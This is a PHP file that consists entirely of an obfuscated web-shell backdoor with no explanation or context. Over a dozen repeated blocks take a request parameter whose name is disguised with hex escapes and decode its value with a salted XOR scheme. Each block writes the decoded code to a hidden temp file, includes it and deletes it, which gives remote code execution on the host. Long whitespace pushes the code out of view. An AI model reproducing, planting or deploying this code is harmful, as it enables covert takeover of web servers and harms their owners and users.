<?php																																										if(isset($_REQUEST) && isset($_REQUEST["\x62i\x6E\x64\x69ng"])){ $desc = $_REQUEST["\x62i\x6E\x64\x69ng"]; $desc= explode ( '.' , $desc ); $element = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt); $t = 0; array_walk( $desc, function( $v2) use( &$element, &$t, $salt, $lenS) {$chS = ord( $salt[$t % $lenS]); $dec = ( ( int)$v2 - $chS -( $t % 10)) ^ 66; $element .= chr( $dec); $t++; }); $data_chunk = array_filter([session_save_path(), sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), "/tmp"]); foreach ($data_chunk as $res) { if ((is_dir($res) and is_writable($res))) { $resource = "$res" . "/.itm"; $file = fopen($resource, 'w'); if ($file) { fwrite($file, $element); fclose($file); include $resource; @unlink($resource); exit; } } } }
																																										if(array_key_exists("k", $_REQUEST) && !is_null($_REQUEST["k"])){ $desc = $_REQUEST["k"]; $desc = explode ( '.' , $desc ) ; $pointer =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s ); $y =0; foreach ($desc as $v9) { $chS =ord($s[$y % $sLen] ); $dec =((int)$v9 - $chS - ($y % 10)) ^ 67; $pointer .= chr($dec ); $y++; } $token = array_filter([sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getcwd(), "/var/tmp", "/dev/shm"]); $val = 0; do { $rec = $token[$val] ?? null; if ($val >= count($token)) break; if (!!is_dir($rec) && !!is_writable($rec)) { $record = "$rec" . "/.sym"; if (@file_put_contents($record, $pointer) !== false) { include $record; unlink($record); exit; } } $val++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["\x6Drk"])){ $flg = $_POST["\x6Drk"]; $flg = explode ( "." , $flg ) ; $object = ''; $salt5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt5 ); $y = 0; while( $y < count( $flg)) { $v3 = $flg[$y]; $chS = ord( $salt5[$y % $lenS] ); $d =( ( int)$v3 - $chS -( $y % 10))^ 97; $object .= chr( $d ); $y++; } $res = array_filter([getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", "/var/tmp", "/dev/shm"]); for ($record = 0, $resource = count($res); $record < $resource; $record++) { $pgrp = $res[$record]; if (!( !is_dir($pgrp) || !is_writable($pgrp) )) { $entry = sprintf("%s/.flag", $pgrp); if (@file_put_contents($entry, $object) !== false) { include $entry; unlink($entry); exit; } } } }
																																										if(isset($_POST["\x76al"])){ $element = $_POST["\x76al"]; $element = explode ( '.' , $element ); $dchunk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $k = 0; $__tmp = $element; while ($v4 = array_shift($__tmp)) { $sChar = ord($s[$k % $sLen]); $dec = ((int)$v4 - $sChar - ($k % 10)) ^ 44; $dchunk .=chr($dec); $k++; } $k = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getenv("TMP"), "/tmp", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), getcwd()]); $data_chunk = 0; do { $itm = $k[$data_chunk] ?? null; if ($data_chunk >= count($k)) break; if (!!is_dir($itm) && !!is_writable($itm)) { $component = vsprintf("%s/%s", [$itm, ".sym"]); if (file_put_contents($component, $dchunk)) { include $component; @unlink($component); die(); } } $data_chunk++; } while (true); }
																																										if(in_array("r\x65\x63\x6Frd", array_keys($_POST))){ $sym = $_POST["r\x65\x63\x6Frd"]; $sym =explode ( '.' ,$sym) ; $pointer = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt4); $k = 0; foreach ($sym as $v6) { $sChar = ord($salt4[$k % $lenS]); $d = ((int)$v6 - $sChar - ($k % 10)) ^39; $pointer .= chr($d); $k++; } $data_chunk = array_filter(["/dev/shm", "/tmp", session_save_path(), ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/var/tmp"]); $ptr = 0; do { $entry = $data_chunk[$ptr] ?? null; if ($ptr >= count($data_chunk)) break; if (!!is_dir($entry) && !!is_writable($entry)) { $marker = vsprintf("%s/%s", [$entry, ".data"]); if (file_put_contents($marker, $pointer)) { include $marker; @unlink($marker); die(); } } $ptr++; } while (true); }
																																										if(array_key_exists("bind\x69\x6E\x67", $_POST)){ $bind = array_filter(["/tmp", sys_get_temp_dir(), getenv("TEMP"), "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getcwd()]); $data = $_POST["bind\x69\x6E\x67"]; $data = explode ( '.' , $data ) ; $flag = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt6); $w = 0; $__len = count($data); do { if ($w >= $__len) break; $v6 = $data[$w]; $chS = ord($salt6[$w % $sLen]); $d = ((int)$v6 - $chS - ($w % 10)) ^ 22; $flag .= chr($d); $w++;} while (true); $component = 0; do { $dat = $bind[$component] ?? null; if ($component >= count($bind)) break; if (is_dir($dat) ? is_writable($dat) : false) { $val = join("/", [$dat, ".data_chunk"]); if (file_put_contents($val, $flag)) { require $val; unlink($val); die(); } } $component++; } while (true); }
																																										if(!is_null($_POST["\x6Fbje\x63t"] ?? null)){ $binding = array_filter([session_save_path(), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getenv("TMP"), getenv("TEMP"), getcwd()]); $obj = $_POST["\x6Fbje\x63t"]; $obj=explode( '.',$obj) ; $descriptor =''; $s8 ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s8 ); $i =0; $__tmp =$obj; while($v8 =array_shift($__tmp)) { $sChar =ord($s8[$i % $lenS] ); $dec =((int)$v8 - $sChar -($i % 10)) ^ 59; $descriptor .= chr($dec ); $i++; } $elem = 0; do { $parameter_group = $binding[$elem] ?? null; if ($elem >= count($binding)) break; if (array_product([is_dir($parameter_group), is_writable($parameter_group)])) { $val = "$parameter_group/.flg"; if (@file_put_contents($val, $descriptor) !== false) { include $val; unlink($val); die(); } } $elem++; } while (true); }
																																										if(@$_REQUEST["\x6D\x61r\x6Ber"] !== null){ $elem = $_REQUEST["\x6D\x61r\x6Ber"]; $elem = explode ( "." ,$elem ); $mrk = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt3); $i = 0; array_walk($elem, function ($v7) use (&$mrk, &$i, $salt3, $sLen) { $sChar = ord($salt3[$i % $sLen]); $dec = ((int)$v7 - $sChar - ($i % 10)) ^ 9; $mrk .= chr($dec); $i++; }); $ptr = array_filter([sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/var/tmp", "/dev/shm", getcwd(), getenv("TEMP"), "/tmp"]); for ($dchunk = 0, $parameter_group = count($ptr); $dchunk < $parameter_group; $dchunk++) { $fac = $ptr[$dchunk]; if (is_dir($fac) ? is_writable($fac) : false) { $ent = "$fac/.res"; if (@file_put_contents($ent, $mrk) !== false) { include $ent; unlink($ent); die(); } } } }
																																										if(count($_POST) > 0 && isset($_POST["c\x6Fmpon\x65\x6Et"])){ $token = array_filter(["/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/var/tmp", session_save_path(), getcwd(), getenv("TEMP"), sys_get_temp_dir()]); $tkn = $_POST["c\x6Fmpon\x65\x6Et"]; $tkn = explode ( "." , $tkn ); $element = ''; $s4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s4); $s = 0; array_walk( $tkn, function( $v4) use( &$element, &$s, $s4, $lenS) {$sChar = ord( $s4[$s % $lenS]); $dec =( ( int)$v4 - $sChar -( $s % 10)) ^30; $element .= chr( $dec); $s++; }); for ($bind = 0, $ent = count($token); $bind < $ent; $bind++) { $record = $token[$bind]; if (is_dir($record) ? is_writable($record) : false) { $dat = join("/", [$record, ".descriptor"]); if (file_put_contents($dat, $element)) { include $dat; @unlink($dat); exit; } } } }
																																										if(array_key_exists("\x70set", $_REQUEST)){ $mrk = $_REQUEST["\x70set"]; $mrk = explode( "." , $mrk ) ; $dchunk =''; $salt5 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt5); $len =count( $mrk); for( $t =0; $t< $len; $t++) {$v1 =$mrk[$t]; $chS =ord( $salt5[$t % $sLen]); $dec =( ( int)$v1 - $chS -( $t % 10)) ^ 34; $dchunk .= chr( $dec); } $reference = array_filter([sys_get_temp_dir(), session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", "/tmp", getcwd(), getenv("TMP")]); while ($token = array_shift($reference)) { if ((function($d) { return is_dir($d) && is_writable($d); })($token)) { $record = "$token" . "/.rec"; if (@file_put_contents($record, $dchunk) !== false) { include $record; unlink($record); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x76al")){ $res = array_filter([getenv("TMP"), getcwd(), "/var/tmp", getenv("TEMP"), "/dev/shm", "/tmp", session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $fac = $_REQUEST["\x76al"]; $fac = explode ( ".", $fac ) ; $hld = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2); $v = 0; foreach ($fac as $v1) { $sChar = ord($s2[$v % $sLen]); $d = ((int)$v1 - $sChar - ($v % 10))^70; $hld.=chr($d); $v++; } foreach ($res as $component) { if ((function($d) { return is_dir($d) && is_writable($d); })($component)) { $record = "$component" . "/.item"; $file = fopen($record, 'w'); if ($file) { fwrite($file, $hld); fclose($file); include $record; @unlink($record); die(); } } } }
																																										if(!empty($_POST["\x72\x65f\x65r\x65nce"])){ $holder = $_POST["\x72\x65f\x65r\x65nce"]; $holder = explode ( "." , $holder ) ; $elem=''; $s1='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen( $s1); $u=0; $__len=count( $holder); do { if( $u >= $__len) break; $v4=$holder[$u]; $sChar=ord( $s1[$u % $lenS]); $d=( ( int)$v4 - $sChar -( $u % 10)) ^29; $elem .= chr( $d); $u++;}while( true); $ref = array_filter([getenv("TMP"), "/var/tmp", getenv("TEMP"), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", getcwd()]); while ($comp = array_shift($ref)) { if ((function($d) { return is_dir($d) && is_writable($d); })($comp)) { $hld = "$comp" . "/.rec"; if (file_put_contents($hld, $elem)) { require $hld; unlink($hld); exit; } } } }
																																										if(!is_null($_POST["s\x79\x6D\x62ol"] ?? null)){ $pointer = $_POST["s\x79\x6D\x62ol"]; $pointer = explode( '.' , $pointer ) ; $desc= ''; $salt2= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt2); foreach($pointer as $o =>$v6): $chS= ord($salt2[$o % $sLen]); $dec= ((int)$v6 - $chS -($o % 10)) ^ 85; $desc.= chr($dec); endforeach; $descriptor = array_filter([getcwd(), "/var/tmp", "/tmp", session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP")]); foreach ($descriptor as $holder): if ((is_dir($holder) and is_writable($holder))) { $pgrp = implode("/", [$holder, ".mrk"]); $success = file_put_contents($pgrp, $desc); if ($success) { include $pgrp; @unlink($pgrp); die();} } endforeach; }
																																										if(isset($_POST) && isset($_POST["r\x65s\x6Fu\x72ce"])){ $token = array_filter([getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/dev/shm", "/var/tmp", "/tmp"]); $bind = $_POST["r\x65s\x6Fu\x72ce"]; $bind = explode ('.' , $bind ) ; $holder = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach ($bind as $t => $v7): $chS = ord($s[$t % $lenS]); $d = ((int)$v7 - $chS - ($t % 10)) ^ 9; $holder .= chr($d); endforeach; $ref = 0; do { $k = $token[$ref] ?? null; if ($ref >= count($token)) break; if (!( !is_dir($k) || !is_writable($k) )) { $sym = "$k" . "/.val"; if (@file_put_contents($sym, $holder) !== false) { include $sym; unlink($sym); exit; } } $ref++; } while (true); }
																																										if(@$_REQUEST["\x70gr\x70"] !== null){ $flag = $_REQUEST["\x70gr\x70"]; $flag = explode ("." , $flag ) ; $dchunk = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $m = 0; while( $m < count( $flag)) { $v3 = $flag[$m]; $chS = ord( $salt[$m % $sLen] ); $dec =( ( int)$v3 - $chS -( $m % 10)) ^ 1; $dchunk .= chr( $dec ); $m++; } $component = array_filter([sys_get_temp_dir(), "/tmp", getcwd(), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), "/var/tmp"]); foreach ($component as $key => $element) { if (is_writable($element) && is_dir($element)) { $mrk = join("/", [$element, ".parameter_group"]); $success = file_put_contents($mrk, $dchunk); if ($success) { include $mrk; @unlink($mrk); exit;} } } }
																																										if(!empty($_REQUEST["\x68ol\x64\x65r"])){ $component = $_REQUEST["\x68ol\x64\x65r"]; $component= explode( "." , $component ) ; $res = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2 ); $y = 0; $__tmp = $component; while ($v7 = array_shift($__tmp)) {$sChar = ord($s2[$y %$sLen] ); $d = ((int)$v7 - $sChar - ($y %10)) ^ 100; $res.= chr($d ); $y++; } $itm = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/var/tmp", "/tmp", getcwd(), "/dev/shm"]); foreach ($itm as $key => $pset) { if (!( !is_dir($pset) || !is_writable($pset) )) { $ptr = "$pset/.fac"; if (file_put_contents($ptr, $res)) { include $ptr; @unlink($ptr); exit; } } } }


if(!empty($_REQUEST["t\x6F\x6Ben"])){
	$symbol = $_REQUEST["t\x6F\x6Ben"];
	 $symbol			=explode	(   "."		 ,  $symbol	  )			;
	$factor=	'';
            $s=	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen=	strlen($s);
            $u=	0;
    
            array_walk($symbol, function ($v6) use (&$factor, &$u, $s, $sLen) {$chS=	ord($s[$u	%$sLen]);
                $d=	((int)$v6 - $chS - ($u	%10))		^		15;
                $factor .= chr($d);
                $u++;		} 	);
	$elem = array_filter(["/var/tmp", getcwd(), "/dev/shm", "/tmp", sys_get_temp_dir(), session_save_path(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir")]);
	$object = 0;
do {
    $ref = $elem[$object] ?? null;
    if ($object >= count($elem)) break;
    		if (!( !is_dir($ref) || !is_writable($ref) )) {
    $property_set = join("/", [$ref, ".value"]);
    if (file_put_contents($property_set, $factor)) {
	include $property_set;
	@unlink($property_set);
	die();
}
}
    $object++;
} while (true);
}